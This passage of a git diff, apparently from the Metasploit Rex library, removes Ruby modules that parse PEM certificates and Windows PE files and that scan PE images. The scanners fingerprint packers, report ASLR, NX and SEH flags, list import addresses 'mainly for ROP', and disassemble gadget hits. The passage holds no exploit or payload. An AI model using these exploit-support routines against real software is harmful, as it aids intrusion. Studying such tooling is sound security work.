[SharedShift0, [262400,4194561,524546,8388867,262408,4194569,524554,8388875,262416,4194577,524562,8388883,262424,4194585,524570,8388891,262432,4194593,524578,8388899,262440,4194601,524586,8388907,262448,4194609,524594,8388915,312,313,314,315,8389993,8389227,640,4195713,1409,643,388,389,786822,12583303,262536,4194697,262848,4195009,4195009,262608,4194769,262610,4194771,358]],
|
||||
[SharedShift0, [524544,8388865,524546,8388867,524552,8388873,524554,8388875,524560,8388881,524562,8388883,524568,8388889,524570,8388891,524576,8388897,524578,8388899,524584,8388905,524586,8388907,524592,8388913,524594,8388915,312,313,314,315,8389993,8389227,640,8390017,1409,643,388,389,524678,8388999,524680,8389001,524992,8389313,8389313,524752,8389073,524754,8389075,358,0x0201e0, 0x0201e1, 0x0201e2, 0x1e3, 0x1eb, 0x170, 0x171, 0x172, 0x173, 0x174, 0x175, 0x176, 0x177, 0x178, 0x179, 0x17a, 0x17b, 0x17c, 0x17d, 0x17e, 0x17f]],
|
||||
# 0x100
|
||||
[[1048582,1048590,1048598,1048606,65575,65583,65591,65599,65600,131137,262210,524355,1048644,2097221,4194374,8388679,65608,131145,262218,524363,1048652,2097229,4194382,8388687,1048656,1048657,1048658,1048659,1048660,1048661,1048662,1048663,1114200,1179737,1310810,1572955,1048668,3145821,5242974,9437279,1048672,144,196753,327826,589971,1114260,2162837,4259990,8454295,65688,262297,155,1048732,65695,65750,245,248,249,252,253]],
|
||||
]
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -1,92 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'openssl'
|
||||
|
||||
module Rex
|
||||
module Parser
|
||||
|
||||
###
|
||||
#
|
||||
# This class parses the contents of a PEM-encoded X509 certificate file containing
|
||||
# a private key, a public key, and any appended glue certificates.
|
||||
#
|
||||
###
|
||||
class X509Certificate
|
||||
|
||||
#
|
||||
# Parse a certificate in unified PEM format that contains a private key and
|
||||
# one or more certificates. The first certificate is the primary, while any
|
||||
# additional certificates are treated as intermediary certificates. This emulates
|
||||
# the behavior of web servers like nginx.
|
||||
#
|
||||
# @param [String] ssl_cert
|
||||
# @return [String, String, Array]
|
||||
def self.parse_pem(ssl_cert)
|
||||
cert = nil
|
||||
key = nil
|
||||
chain = nil
|
||||
|
||||
certs = []
|
||||
ssl_cert.scan(/-----BEGIN\s*[^\-]+-----+\r?\n[^\-]*-----END\s*[^\-]+-----\r?\n?/nm).each do |pem|
|
||||
if pem =~ /PRIVATE KEY/
|
||||
key = OpenSSL::PKey::RSA.new(pem)
|
||||
elsif pem =~ /CERTIFICATE/
|
||||
certs << OpenSSL::X509::Certificate.new(pem)
|
||||
end
|
||||
end
|
||||
|
||||
cert = certs.shift
|
||||
if certs.length > 0
|
||||
chain = certs
|
||||
end
|
||||
|
||||
[key, cert, chain]
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a certificate in unified PEM format from a file
|
||||
#
|
||||
# @param [String] ssl_cert_file
|
||||
# @return [String, String, Array]
|
||||
def self.parse_pem_file(ssl_cert_file)
|
||||
data = ''
|
||||
::File.open(ssl_cert_file, 'rb') do |fd|
|
||||
data << fd.read(fd.stat.size)
|
||||
end
|
||||
parse_pem(data)
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a certificate in unified PEM format and retrieve
|
||||
# the SHA1 hash.
|
||||
#
|
||||
# @param [String] ssl_cert
|
||||
# @return [String]
|
||||
def self.get_cert_hash(ssl_cert)
|
||||
hcert = parse_pem(ssl_cert)
|
||||
|
||||
unless hcert and hcert[0] and hcert[1]
|
||||
raise ArgumentError, "Could not parse a private key and certificate"
|
||||
end
|
||||
|
||||
Rex::Text.sha1_raw(hcert[1].to_der)
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a file that contains a certificate in unified PEM
|
||||
# format and retrieve the SHA1 hash.
|
||||
#
|
||||
# @param [String] ssl_cert_file
|
||||
# @return [String]
|
||||
def self.get_cert_file_hash(ssl_cert_file)
|
||||
data = ''
|
||||
::File.open(ssl_cert_file, 'rb') do |fd|
|
||||
data << fd.read(fd.stat.size)
|
||||
end
|
||||
get_cert_hash(data)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -2,7 +2,7 @@
|
|||
require 'msf/core/payload/uuid'
|
||||
require 'msf/core/payload/windows'
|
||||
require 'msf/core/reflective_dll_loader'
|
||||
require 'rex/parser/x509_certificate'
|
||||
require 'rex/socket/x509_certificate'
|
||||
|
||||
class Rex::Payloads::Meterpreter::Config
|
||||
|
||||
|
|
|
@ -1,10 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module PeParsey
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
require 'rex/peparsey/pe'
|
||||
require 'rex/peparsey/pe_memdump'
|
|
@ -1,30 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module PeParsey
|
||||
|
||||
class PeError < ::RuntimeError
|
||||
end
|
||||
|
||||
class ParseError < PeError
|
||||
end
|
||||
|
||||
class DosHeaderError < ParseError
|
||||
end
|
||||
|
||||
class FileHeaderError < ParseError
|
||||
end
|
||||
|
||||
class OptionalHeaderError < ParseError
|
||||
end
|
||||
|
||||
class BoundsError < PeError
|
||||
end
|
||||
|
||||
class PeParseyError < PeError
|
||||
end
|
||||
|
||||
class SkipError < PeError
|
||||
end
|
||||
|
||||
end end
|
|
@ -1,210 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/image_source'
|
||||
require 'rex/peparsey/exceptions'
|
||||
require 'rex/peparsey/pebase'
|
||||
require 'rex/peparsey/section'
|
||||
require 'rex/struct2'
|
||||
|
||||
module Rex
|
||||
module PeParsey
|
||||
class Pe < PeBase
|
||||
|
||||
def initialize(isource)
|
||||
|
||||
#
|
||||
# DOS Header
|
||||
#
|
||||
# Parse the initial dos header, starting at the file beginning
|
||||
#
|
||||
offset = 0
|
||||
dos_header = self.class._parse_dos_header(isource.read(offset, IMAGE_DOS_HEADER_SIZE))
|
||||
|
||||
#
|
||||
# File Header
|
||||
#
|
||||
# If there is going to be a PE, the dos header tells us where to find it
|
||||
# So now we try to parse the file (pe) header
|
||||
#
|
||||
offset += dos_header.e_lfanew
|
||||
|
||||
# most likely an invalid e_lfanew...
|
||||
if offset > isource.size
|
||||
raise FileHeaderError, "e_lfanew looks invalid", caller
|
||||
end
|
||||
|
||||
file_header = self.class._parse_file_header(isource.read(offset, IMAGE_FILE_HEADER_SIZE))
|
||||
|
||||
#
|
||||
# Optional Header
|
||||
#
|
||||
# After the file header, we find the optional header. Right now
|
||||
# we require a optional header. Despite it's name, all binaries
|
||||
# that we are interested in should have one. We need this
|
||||
# header for a lot of stuff, so we die without it...
|
||||
#
|
||||
offset += IMAGE_FILE_HEADER_SIZE
|
||||
optional_header = self.class._parse_optional_header(
|
||||
isource.read(offset, file_header.SizeOfOptionalHeader)
|
||||
)
|
||||
|
||||
if !optional_header
|
||||
raise OptionalHeaderError, "No optional header!", caller
|
||||
end
|
||||
|
||||
base = optional_header.ImageBase
|
||||
|
||||
#
|
||||
# Section Headers
|
||||
#
|
||||
# After the optional header should be the section headers.
|
||||
# We know how many there should be from the file header...
|
||||
#
|
||||
offset += file_header.SizeOfOptionalHeader
|
||||
|
||||
num_sections = file_header.NumberOfSections
|
||||
section_headers = self.class._parse_section_headers(
|
||||
isource.read(offset, IMAGE_SIZEOF_SECTION_HEADER * num_sections)
|
||||
)
|
||||
|
||||
#
|
||||
# End of Headers
|
||||
#
|
||||
# After the section headers (which are padded to FileAlignment)
|
||||
# we should find the section data, described by the section
|
||||
# headers...
|
||||
#
|
||||
# So this is the end of our header data, lets store this
|
||||
# in an image source for possible access later...
|
||||
#
|
||||
offset += IMAGE_SIZEOF_SECTION_HEADER * num_sections
|
||||
offset = self.class._align_offset(offset, optional_header.FileAlignment)
|
||||
|
||||
header_section = Section.new(isource.subsource(0, offset), 0, nil)
|
||||
|
||||
#
|
||||
# Sections
|
||||
#
|
||||
# So from here on out should be section data, and then any
|
||||
# trailing data (like authenticode and stuff I think)
|
||||
#
|
||||
|
||||
sections = [ ]
|
||||
|
||||
section_headers.each do |section_header|
|
||||
|
||||
rva = section_header.VirtualAddress
|
||||
size = section_header.SizeOfRawData
|
||||
file_offset = section_header.PointerToRawData
|
||||
|
||||
sections << Section.new(
|
||||
isource.subsource(file_offset, size),
|
||||
rva,
|
||||
section_header
|
||||
)
|
||||
end
|
||||
|
||||
|
||||
|
||||
#
|
||||
# Save the stuffs!
|
||||
#
|
||||
# We have parsed enough to load the file up here, now we just
|
||||
# save off all of the structures and data... We will
|
||||
# save our fake header section, the real sections, etc.
|
||||
#
|
||||
|
||||
#
|
||||
# These should not be accessed directly
|
||||
#
|
||||
|
||||
self._isource = isource
|
||||
|
||||
self._dos_header = dos_header
|
||||
self._file_header = file_header
|
||||
self._optional_header = optional_header
|
||||
self._section_headers = section_headers
|
||||
|
||||
self.image_base = base
|
||||
self.sections = sections
|
||||
self.header_section = header_section
|
||||
|
||||
self._config_header = _parse_config_header()
|
||||
self._tls_header = _parse_tls_header()
|
||||
|
||||
# These can be accessed directly
|
||||
self.hdr = HeaderAccessor.new
|
||||
self.hdr.dos = self._dos_header
|
||||
self.hdr.file = self._file_header
|
||||
self.hdr.opt = self._optional_header
|
||||
self.hdr.sections = self._section_headers
|
||||
self.hdr.config = self._config_header
|
||||
self.hdr.tls = self._tls_header
|
||||
self.hdr.exceptions = self._exception_header
|
||||
|
||||
# We load the exception directory last as it relies on hdr.file to be created above.
|
||||
self._exception_header = _load_exception_directory()
|
||||
end
|
||||
|
||||
#
|
||||
# Return everything that's going to be mapped in the process
|
||||
# and accessable. This should include all of the sections
|
||||
# and our "fake" section for the header data...
|
||||
#
|
||||
def all_sections
|
||||
[ header_section ] + sections
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if this binary is for a 64-bit architecture.
|
||||
#
|
||||
def ptr_64?
|
||||
[
|
||||
IMAGE_FILE_MACHINE_IA64,
|
||||
IMAGE_FILE_MACHINE_ALPHA64,
|
||||
IMAGE_FILE_MACHINE_AMD64
|
||||
].include?(self._file_header.Machine)
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if this binary is for a 32-bit architecture.
|
||||
# This check does not take into account 16-bit binaries at the moment.
|
||||
#
|
||||
def ptr_32?
|
||||
ptr_64? == false
|
||||
end
|
||||
|
||||
#
|
||||
# Converts a virtual address to a string representation based on the
|
||||
# underlying architecture.
|
||||
#
|
||||
def ptr_s(va)
|
||||
(ptr_32?) ? ("0x%.8x" % va) : ("0x%.16x" % va)
|
||||
end
|
||||
|
||||
#
|
||||
# Converts a file offset into a virtual address
|
||||
#
|
||||
def file_offset_to_va(offset)
|
||||
image_base + file_offset_to_rva(offset)
|
||||
end
|
||||
|
||||
#
|
||||
# Read raw bytes from the specified offset in the underlying file
|
||||
#
|
||||
# NOTE: You should pass raw file offsets into this, not offsets from
|
||||
# the beginning of the section. If you need to read from within a
|
||||
# section, add section.file_offset prior to passing the offset in.
|
||||
#
|
||||
def read(offset, len)
|
||||
_isource.read(offset, len)
|
||||
end
|
||||
|
||||
def size
|
||||
_isource.size
|
||||
end
|
||||
def length
|
||||
_isource.size
|
||||
end
|
||||
|
||||
end end end
|
|
@ -1,61 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/image_source'
|
||||
require 'rex/peparsey/exceptions'
|
||||
require 'rex/peparsey/pebase'
|
||||
require 'rex/peparsey/section'
|
||||
require 'rex/struct2'
|
||||
|
||||
#
|
||||
# This class is for use with memdump.exe generated dump images. It basically
|
||||
# just lies, gets the ImageBase from the file name, and generates 1 big
|
||||
# header_section with all of the data in it...
|
||||
#
|
||||
|
||||
module Rex
|
||||
module PeParsey
|
||||
class PeMemDump < Pe
|
||||
|
||||
def self.new_from_string(data)
|
||||
raise NotImplementError
|
||||
end
|
||||
|
||||
def self.new_from_file(filename, disk_backed = false)
|
||||
|
||||
if filename[-4, 4] != '.rng'
|
||||
raise "Not a .rng file: #{filename}"
|
||||
end
|
||||
|
||||
if filename[-9, 9] == "index.rng"
|
||||
raise SkipError
|
||||
end
|
||||
|
||||
file = File.open(filename, 'rb')
|
||||
|
||||
if disk_backed
|
||||
obj = ImageSource::Disk.new(file)
|
||||
else
|
||||
obj = ImageSource::Memory.new(file.read)
|
||||
obj.close
|
||||
end
|
||||
|
||||
return self.new(obj, filename.gsub(/.*[\/\\]/, '')[0,8].hex)
|
||||
end
|
||||
|
||||
def initialize(isource, base)
|
||||
self._isource = isource
|
||||
self.header_section = Section.new(isource, base, nil)
|
||||
self.sections = [ self.header_section ]
|
||||
self.image_base = 0
|
||||
end
|
||||
|
||||
def all_sections
|
||||
self.sections
|
||||
end
|
||||
|
||||
# No 64-bit support
|
||||
def ptr_64?
|
||||
false
|
||||
end
|
||||
|
||||
end end end
|
File diff suppressed because it is too large
Load Diff
|
@ -1,128 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/peparsey/exceptions'
|
||||
require 'rex/peparsey/pebase'
|
||||
require 'rex/struct2'
|
||||
|
||||
module Rex
|
||||
module PeParsey
|
||||
class Section
|
||||
attr_accessor :_section_header, :_isource
|
||||
attr_accessor :base_rva
|
||||
|
||||
#
|
||||
# Initialize a section.
|
||||
#
|
||||
# isource - The ImageSource class backing the image
|
||||
# base_vma - The address of this section base
|
||||
# section_header - The section header (struct2) although this is not
|
||||
# required, which is why there is a base_vma. This can be nil.
|
||||
#
|
||||
def initialize(isource, base_rva, section_header = nil)
|
||||
self._isource = isource
|
||||
self.base_rva = base_rva
|
||||
self._section_header = section_header
|
||||
end
|
||||
|
||||
def file_offset
|
||||
_isource.file_offset
|
||||
end
|
||||
|
||||
def size
|
||||
_isource.size
|
||||
end
|
||||
|
||||
def name
|
||||
# a section header is not required
|
||||
return nil if !_section_header
|
||||
|
||||
# FIXME make this better...
|
||||
_section_header.v['Name'].gsub(/\x00+$/n, '')
|
||||
end
|
||||
|
||||
def flags
|
||||
# a section header is not required
|
||||
return nil if !_section_header
|
||||
_section_header.v['Characteristics']
|
||||
end
|
||||
|
||||
def vma
|
||||
# a section header is not required
|
||||
return nil if !_section_header
|
||||
_section_header.v['VirtualAddress']
|
||||
end
|
||||
|
||||
def raw_size
|
||||
# a section header is not required
|
||||
return nil if !_section_header
|
||||
_section_header.v['SizeOfRawData']
|
||||
end
|
||||
|
||||
def _check_offset(offset, len = 1)
|
||||
if offset < 0 || offset+len > size
|
||||
raise BoundsError, "Offset #{offset} outside of section", caller
|
||||
end
|
||||
end
|
||||
|
||||
def read(offset, len)
|
||||
_check_offset(offset, len)
|
||||
return _isource.read(offset, len)
|
||||
end
|
||||
|
||||
def read_rva(rva, len)
|
||||
return read(rva_to_offset(rva), len)
|
||||
end
|
||||
|
||||
def read_asciiz(offset)
|
||||
_check_offset(offset)
|
||||
return _isource.read_asciiz(offset)
|
||||
end
|
||||
|
||||
def read_asciiz_rva(rva)
|
||||
return read_asciiz(rva_to_offset(rva))
|
||||
end
|
||||
|
||||
def index(*args)
|
||||
_isource.index(*args)
|
||||
end
|
||||
|
||||
def offset_to_rva(offset)
|
||||
if !contains_offset?(offset)
|
||||
raise BoundsError, "Offset #{offset} outside of section", caller
|
||||
end
|
||||
|
||||
return offset + base_rva
|
||||
end
|
||||
|
||||
def file_offset_to_rva(foffset)
|
||||
return offset_to_rva(foffset - file_offset)
|
||||
end
|
||||
|
||||
def rva_to_offset(rva)
|
||||
offset = rva - base_rva
|
||||
if !contains_offset?(offset)
|
||||
raise BoundsError, "RVA #{rva} outside of section", caller
|
||||
end
|
||||
|
||||
return offset
|
||||
end
|
||||
|
||||
def rva_to_file_offset(rva)
|
||||
return rva_to_offset(rva) + file_offset
|
||||
end
|
||||
|
||||
def contains_offset?(offset)
|
||||
offset >= 0 && offset < size
|
||||
end
|
||||
|
||||
def contains_file_offset?(foffset)
|
||||
contains_offset?(foffset - file_offset)
|
||||
end
|
||||
|
||||
def contains_rva?(rva)
|
||||
contains_offset?(rva - base_rva)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end end
|
|
@ -1,11 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module PeScan
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
require 'rex/pescan/analyze'
|
||||
require 'rex/pescan/scanner'
|
||||
require 'rex/pescan/search'
|
|
@ -1,366 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
module Rex
|
||||
module PeScan
|
||||
module Analyze
|
||||
|
||||
require "rex/text/table"
|
||||
|
||||
class Fingerprint
|
||||
attr_accessor :pe
|
||||
|
||||
def initialize(pe)
|
||||
self.pe = pe
|
||||
end
|
||||
|
||||
def config(param)
|
||||
@sigs = {}
|
||||
|
||||
name = nil
|
||||
regx = ''
|
||||
epon = 0
|
||||
sidx = 0
|
||||
|
||||
fd = File.open(param['database'], 'rb')
|
||||
fd.each_line do |line|
|
||||
case line
|
||||
when /^\s*#/
|
||||
next
|
||||
when /\[\s*(.*)\s*\]/
|
||||
if (name)
|
||||
@sigs[ name ] = [regx, epon]
|
||||
end
|
||||
name = $1 + " [#{ sidx+=1 }]"
|
||||
epon = 0
|
||||
next
|
||||
when /signature\s*=\s*(.*)/
|
||||
pat = $1.strip
|
||||
regx = ''
|
||||
pat.split(/\s+/).each do |c|
|
||||
next if c.length != 2
|
||||
regx << (c.index('?') ? '.' : "\\x#{c}")
|
||||
end
|
||||
when /ep_only\s*=\s*(.*)/
|
||||
epon = ($1 =~ /^T/i) ? 1 : 0
|
||||
end
|
||||
end
|
||||
|
||||
if (name and ! @sigs[name])
|
||||
@sigs[ name ] = [regx, epon]
|
||||
end
|
||||
|
||||
fd.close
|
||||
end
|
||||
|
||||
def scan(param)
|
||||
config(param)
|
||||
|
||||
epa = pe.hdr.opt.AddressOfEntryPoint
|
||||
buf = pe.read_rva(epa, 256) || ""
|
||||
|
||||
@sigs.each_pair do |name, data|
|
||||
begin
|
||||
if (buf.match(Regexp.new('^' + data[0], nil, 'n')))
|
||||
$stdout.puts param['file'] + ": " + name
|
||||
end
|
||||
rescue RegexpError
|
||||
$stderr.puts "Invalid signature: #{name} #{data[0]}"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
class Information
|
||||
attr_accessor :pe
|
||||
|
||||
def initialize(pe)
|
||||
self.pe = pe
|
||||
end
|
||||
|
||||
def add_fields(tbl, obj, fields)
|
||||
fields.each do |name|
|
||||
begin
|
||||
tbl << [name, "0x%.8x" % obj.send(name)]
|
||||
rescue ::NoMethodError => e
|
||||
$stderr.puts "Invalid field #{name}"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def scan(param)
|
||||
|
||||
$stdout.puts "\n\n"
|
||||
|
||||
tbl = table("Image Headers", ['Name', 'Value'])
|
||||
add_fields(tbl, pe.hdr.file, %W{
|
||||
Characteristics
|
||||
SizeOfOptionalHeader
|
||||
PointerToSymbolTable
|
||||
TimeDateStamp
|
||||
NumberOfSections
|
||||
Machine
|
||||
})
|
||||
$stdout.puts tbl.to_s
|
||||
$stdout.puts "\n\n"
|
||||
|
||||
tbl = table("Optional Image Headers", ['Name', 'Value'])
|
||||
add_fields(tbl, pe.hdr.opt, %W{
|
||||
ImageBase
|
||||
Magic
|
||||
MajorLinkerVersion
|
||||
MinorLinkerVersion
|
||||
SizeOfCode
|
||||
SizeOfInitializeData
|
||||
SizeOfUninitializeData
|
||||
AddressOfEntryPoint
|
||||
BaseOfCode
|
||||
BaseOfData
|
||||
SectionAlignment
|
||||
FileAlignment
|
||||
MajorOperatingSystemVersion
|
||||
MinorOperatingSystemVersion
|
||||
MajorImageVersion
|
||||
MinorImageVersion
|
||||
MajorSubsystemVersion
|
||||
MinorSubsystemVersion
|
||||
Win32VersionValue
|
||||
SizeOfImage
|
||||
SizeOfHeaders
|
||||
CheckSum
|
||||
Subsystem
|
||||
DllCharacteristics
|
||||
SizeOfStackReserve
|
||||
SizeOfStackCommit
|
||||
SizeOfHeapReserve
|
||||
SizeOfHeapCommit
|
||||
LoaderFlags
|
||||
NumberOfRvaAndSizes
|
||||
})
|
||||
|
||||
$stdout.puts tbl.to_s
|
||||
$stdout.puts "\n\n"
|
||||
|
||||
# Get DllCharacteristics (in Integer)
|
||||
dllcharacteristics = pe.hdr.opt.struct[23].value
|
||||
|
||||
if (dllcharacteristics > 0)
|
||||
tbl = table("DllCharacteristics", ['Flag', 'Value'])
|
||||
|
||||
# http://msdn.microsoft.com/en-us/library/ms680339(v=vs.85).aspx
|
||||
traits = {
|
||||
:ASLR => 'False', #IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
|
||||
:Integrity => 'False', #IMAGE_DLLCHARACTERISTICS_FORCE_INTEGRITY
|
||||
:NX => 'False', #IMAGE_DLLCHARACTERISTICS_NX_COMPAT
|
||||
:Isolation => 'False', #IMAGE_DLLCHARACTERISTICS_NO_ISOLATION
|
||||
:SEH => 'False', #IMAGE_DLLCHARACTERISTICS_NO_SEH
|
||||
:Bind => 'False', #IMAGE_DLLCHARACTERISTICS_NO_BIND
|
||||
:WDM => 'False', #IMAGE_DLLCHARACTERISTICS_WDM_DRIVER
|
||||
:Terminal => 'False' #IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE
|
||||
}
|
||||
|
||||
# Convert integer to an bit array
|
||||
c_bits = ("%32d" %dllcharacteristics.to_s(2)).split('').map { |e| e.to_i }.reverse
|
||||
|
||||
# Check characteristics
|
||||
traits[:ASLR] = 'True' if c_bits[6] == 1 #0x0040
|
||||
traits[:Integrity] = 'True' if c_bits[7] == 1 #0x0080
|
||||
traits[:NX] = 'True' if c_bits[8] == 1 #0x0100
|
||||
traits[:Isolation] = 'True' if c_bits[9] == 1 #0x0200
|
||||
traits[:SEH] = 'True' if c_bits[10] == 1 #0x0400
|
||||
traits[:Bind] = 'True' if c_bits[11] == 1 #0x0800
|
||||
traits[:WDM] = 'True' if c_bits[13] == 1 #2000
|
||||
traits[:Terminal] = 'True' if c_bits[15] == 1 #0x8000
|
||||
|
||||
# Putting results to table
|
||||
traits.each do |trait_name, trait_value|
|
||||
tbl << [trait_name, trait_value]
|
||||
end
|
||||
|
||||
$stdout.puts tbl.to_s
|
||||
$stdout.puts "\n\n"
|
||||
end
|
||||
|
||||
if (pe.exports)
|
||||
tbl = table("Exported Functions", ['Ordinal', 'Name', 'Address'])
|
||||
pe.exports.entries.each do |ent|
|
||||
tbl << [ent.ordinal, ent.name, "0x%.8x" % pe.rva_to_vma(ent.rva)]
|
||||
end
|
||||
$stdout.puts tbl.to_s
|
||||
$stdout.puts "\n\n"
|
||||
end
|
||||
|
||||
# Rex::PeParsey::Pe doesn't seem to give us any offset information for each function,
|
||||
# which makes it difficult to calculate the actual addresses for them. So instead we
|
||||
# are using Metasm::COFF::ImportDirectory to do this task. The ability to see
|
||||
# addresses is mainly for ROP.
|
||||
if (pe.imports)
|
||||
tbl = table("Imported Functions", ['Library', 'Address', 'Ordinal', 'Name'])
|
||||
exefmt = Metasm::AutoExe.orshellcode{ Metasm.const_get('x86_64').new }
|
||||
exe = exefmt.decode_file(pe._isource.file.path)
|
||||
ibase = pe.image_base
|
||||
exe_imports = exe.imports
|
||||
exe_imports.each do |lib|
|
||||
lib_name = lib.libname
|
||||
ini_offset = lib.iat_p
|
||||
func_table = lib.imports
|
||||
offset = 0
|
||||
func_table.each do |func|
|
||||
func_addr = "0x%08x" %(ibase + ini_offset + offset)
|
||||
tbl << [lib_name, func_addr, func.hint, func.name]
|
||||
offset += 4
|
||||
end
|
||||
end
|
||||
|
||||
$stdout.puts tbl.to_s
|
||||
$stdout.puts "\n\n"
|
||||
end
|
||||
|
||||
if(pe.config)
|
||||
tbl = table("Configuration Header", ['Name', 'Value'])
|
||||
add_fields(tbl, pe.config, %W{
|
||||
Size
|
||||
TimeDateStamp
|
||||
MajorVersion
|
||||
MinorVersion
|
||||
GlobalFlagsClear
|
||||
GlobalFlagsSet
|
||||
CriticalSectionDefaultTimeout
|
||||
DeCommitFreeBlockThreshold
|
||||
DeCommitTotalFreeThreshold
|
||||
LockPrefixTable
|
||||
MaximumAllocationSize
|
||||
VirtualMemoryThreshold
|
||||
ProcessAffinityMask
|
||||
ProcessHeapFlags
|
||||
CSDVersion
|
||||
Reserved1
|
||||
EditList
|
||||
SecurityCookie
|
||||
SEHandlerTable
|
||||
SEHandlerCount
|
||||
})
|
||||
$stdout.puts tbl.to_s
|
||||
$stdout.puts "\n\n"
|
||||
end
|
||||
|
||||
|
||||
if(pe.resources)
|
||||
tbl = table("Resources", ['ID', 'Language', 'Code Page', 'Size', 'Name'])
|
||||
pe.resources.keys.sort.each do |rkey|
|
||||
res = pe.resources[rkey]
|
||||
tbl << [rkey, res.lang, res.code, res.size, res.file]
|
||||
end
|
||||
$stdout.puts tbl.to_s
|
||||
$stdout.puts "\n\n"
|
||||
end
|
||||
|
||||
tbl = table("Section Header", ["Name", "VirtualAddress", "SizeOfRawData", "Characteristics"])
|
||||
pe.sections.each do |sec|
|
||||
tbl << [ sec.name, *[sec.vma, sec.raw_size, sec.flags].map{|x| "0x%.8x" % x} ]
|
||||
end
|
||||
$stdout.puts tbl.to_s
|
||||
$stdout.puts "\n\n"
|
||||
|
||||
end
|
||||
|
||||
def table(name, cols)
|
||||
Rex::Text::Table.new(
|
||||
'Header' => name,
|
||||
'Columns' => cols
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
class Ripper
|
||||
|
||||
require "fileutils"
|
||||
|
||||
attr_accessor :pe
|
||||
|
||||
def initialize(pe)
|
||||
self.pe = pe
|
||||
end
|
||||
|
||||
def scan(param)
|
||||
dest = param['dir']
|
||||
|
||||
if (param['file'])
|
||||
dest = File.join(dest, File.basename(param['file']))
|
||||
end
|
||||
|
||||
::FileUtils.mkdir_p(dest)
|
||||
|
||||
pe.resources.keys.sort.each do |rkey|
|
||||
res = pe.resources[rkey]
|
||||
path = File.join(dest, rkey.split('/')[1] + '_' + res.file)
|
||||
|
||||
fd = File.new(path, 'wb')
|
||||
fd.write(res.data)
|
||||
fd.close
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
class ContextMapDumper
|
||||
|
||||
attr_accessor :pe
|
||||
|
||||
def initialize(pe)
|
||||
self.pe = pe
|
||||
end
|
||||
|
||||
def scan(param)
|
||||
dest = param['dir']
|
||||
path = ''
|
||||
|
||||
::FileUtils.mkdir_p(dest)
|
||||
|
||||
if(not (param['dir'] and param['file']))
|
||||
$stderr.puts "No directory or file specified"
|
||||
return
|
||||
end
|
||||
|
||||
if (param['file'])
|
||||
path = File.join(dest, File.basename(param['file']) + ".map")
|
||||
end
|
||||
|
||||
fd = File.new(path, "wb")
|
||||
pe.all_sections.each do |section|
|
||||
|
||||
# Skip over known bad sections
|
||||
next if section.name == ".data"
|
||||
next if section.name == ".reloc"
|
||||
|
||||
offset = 0
|
||||
while offset < section.size
|
||||
byte = section.read(offset, 1)[0]
|
||||
if byte != 0
|
||||
chunkbase = pe.rva_to_vma(section.base_rva) + offset
|
||||
data = ''
|
||||
while byte != 0
|
||||
data << byte
|
||||
offset += 1
|
||||
byte = 0
|
||||
byte = section.read(offset, 1)[0] if offset < section.size
|
||||
end
|
||||
buff = nil
|
||||
buff = [ 0x01, chunkbase, data.length, data].pack("CNNA*") if data.length > 0
|
||||
|
||||
fd.write(buff) if buff
|
||||
end
|
||||
offset += 1
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
fd.close
|
||||
end
|
||||
end
|
||||
|
||||
# EOC
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -1,230 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'metasm'
|
||||
|
||||
module Rex
|
||||
module PeScan
|
||||
module Scanner
|
||||
|
||||
class Generic
|
||||
|
||||
attr_accessor :pe, :regex
|
||||
|
||||
def initialize(pe)
|
||||
self.pe = pe
|
||||
end
|
||||
|
||||
def config(param)
|
||||
end
|
||||
|
||||
def scan(param)
|
||||
config(param)
|
||||
|
||||
$stdout.puts "[#{param['file']}]"
|
||||
pe.all_sections.each do |section|
|
||||
hits = scan_section(section, param)
|
||||
hits.each do |hit|
|
||||
vma = pe.rva_to_vma(hit[0])
|
||||
|
||||
next if (param['filteraddr'] and [vma].pack("V").reverse !~ /#{param['filteraddr']}/)
|
||||
|
||||
msg = hit[1].is_a?(Array) ? hit[1].join(" ") : hit[1]
|
||||
$stdout.puts pe.ptr_s(vma) + " " + msg
|
||||
if(param['disasm'])
|
||||
#puts [msg].pack('H*').inspect
|
||||
insns = []
|
||||
|
||||
msg.gsub!("; ", "\n")
|
||||
if msg.include?("retn")
|
||||
msg.gsub!("retn", "ret")
|
||||
end
|
||||
#puts msg
|
||||
begin
|
||||
d2 = Metasm::Shellcode.assemble(Metasm::Ia32.new, msg).disassemble
|
||||
rescue Metasm::ParseError
|
||||
d2 = Metasm::Shellcode.disassemble(Metasm::Ia32.new, [msg].pack('H*'))
|
||||
end
|
||||
addr = 0
|
||||
while ((di = d2.disassemble_instruction(addr)))
|
||||
insns << di.instruction
|
||||
disasm = "0x%08x\t" % (vma + addr)
|
||||
disasm << di.instruction.to_s
|
||||
$stdout.puts disasm
|
||||
addr = di.next_addr
|
||||
end
|
||||
# ::Rex::Assembly::Nasm.disassemble([msg].pack("H*")).split("\n").each do |line|
|
||||
# $stdout.puts "\tnasm: #{line.strip}"
|
||||
#end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def scan_section(section, param={})
|
||||
[]
|
